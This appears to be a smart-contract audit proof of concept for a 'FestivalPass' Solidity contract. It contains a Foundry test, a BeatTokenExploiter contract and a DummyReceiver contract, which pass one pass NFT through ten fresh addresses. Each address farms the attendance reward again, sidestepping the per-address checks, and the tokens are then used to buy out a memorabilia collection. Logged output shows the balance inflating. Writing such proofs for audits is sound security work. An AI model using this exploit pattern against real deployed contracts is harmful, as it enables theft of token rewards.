@> function attendPerformance(uint256 performanceId) external {
require(isPerformanceActive(performanceId), "Performance is not active");
require(hasPass(msg.sender), "Must own a pass");
require(!hasAttended[performanceId][msg.sender], "Already attended this performance");
require(block.timestamp >= lastCheckIn[msg.sender] + COOLDOWN, "Cooldown period not met");
hasAttended[performanceId][msg.sender] = true;
lastCheckIn[msg.sender] = block.timestamp;
uint256 multiplier = getMultiplier(msg.sender);
BeatToken(beatToken).mint(msg.sender, performances[performanceId].baseReward * multiplier);
emit Attended(msg.sender, performanceId, performances[performanceId].baseReward * multiplier);
}
Beat tokens received via buy: 15000000000000000000
Beat tokens received after attending performance: 315000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 615000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 915000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 1215000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 1515000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 1815000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 2115000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 2415000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 2715000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 3015000000000000000000
Beat tokens received by dummy after attending performance: 300000000000000000000
Beat tokens Total: 3315000000000000000000
function test_Buy_multiple_Memorabilias() external {
vm.prank(user1);
BeatTokenExploiter attackContract = new BeatTokenExploiter(festivalPass, beatToken);
attackContract.buyPass{value: 0.25 ether}();
uint256 startTime = block.timestamp + 1 hours;
uint256 duration = 2 hours;
uint256 reward = 100e18;
vm.prank(organizer);
uint256 perfId = festivalPass.createPerformance(startTime, duration, reward);
vm.warp(startTime + 30 minutes);
attackContract.exploit(perfId);
vm.prank(organizer);
uint256 collectionId =
festivalPass.createMemorabiliaCollection("Golden Hats", "ipfs://QmGoldenHats", 50e18, 10, true);
attackContract.receiveMemorabilia(collectionId);
}
contract BeatTokenExploiter {
FestivalPass immutable pass;
BeatToken immutable beat;
constructor(FestivalPass _pass, BeatToken _beat) {
pass = _pass;
beat = _beat;
}
function buyPass() external payable {
pass.buyPass{value: msg.value}(3);
console.log("Beat tokens received via buy: ", BeatToken(beat).balanceOf(address(this)));
}
function exploit(uint256 performanceId) external {
pass.attendPerformance(performanceId);
console.log("Beat tokens received after attending performance: ", BeatToken(beat).balanceOf(address(this)));
for (uint256 i = 0; i < 10; i++) {
address dummy = address(new DummyReceiver());
pass.safeTransferFrom(address(this), dummy, 3, 1, "");
DummyReceiver(dummy).attend(pass, performanceId, address(beat));
console.log("Beat tokens Total: ", BeatToken(beat).balanceOf(address(this)));
}
}
function receiveMemorabilia(uint256 collectionId) external {
(,, uint256 price, uint256 maxSupply,, bool isActive) = pass.collections(collectionId);
for (uint256 i = 1; i < maxSupply; i++) {
uint256 beatBalance = beat.balanceOf(address(this));
if (beatBalance >= price && isActive) {
pass.redeemMemorabilia(collectionId);
}
}
(,,,, uint256 collectionItem,) = pass.collections(collectionId);
console.log("collectionItem: ", collectionItem, maxSupply);
assert(maxSupply == collectionItem);
}
function withdraw() external {
beat.transfer(msg.sender, beat.balanceOf(address(this)));
}
function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC1155Received.selector;
}
}
contract DummyReceiver {
function attend(FestivalPass pass, uint256 performanceId, address beat) external {
pass.attendPerformance(performanceId);
console.log(
"Beat tokens received by dummy after attending performance: ", BeatToken(beat).balanceOf(address(this))
);
pass.safeTransferFrom(address(this), msg.sender, 3, 1, "");
BeatToken(beat).transfer(msg.sender, BeatToken(beat).balanceOf(address(this)));
}
function onERC1155Received(address, address, uint256, uint256, bytes memory) public pure returns (bytes4) {
return this.onERC1155Received.selector;
}
}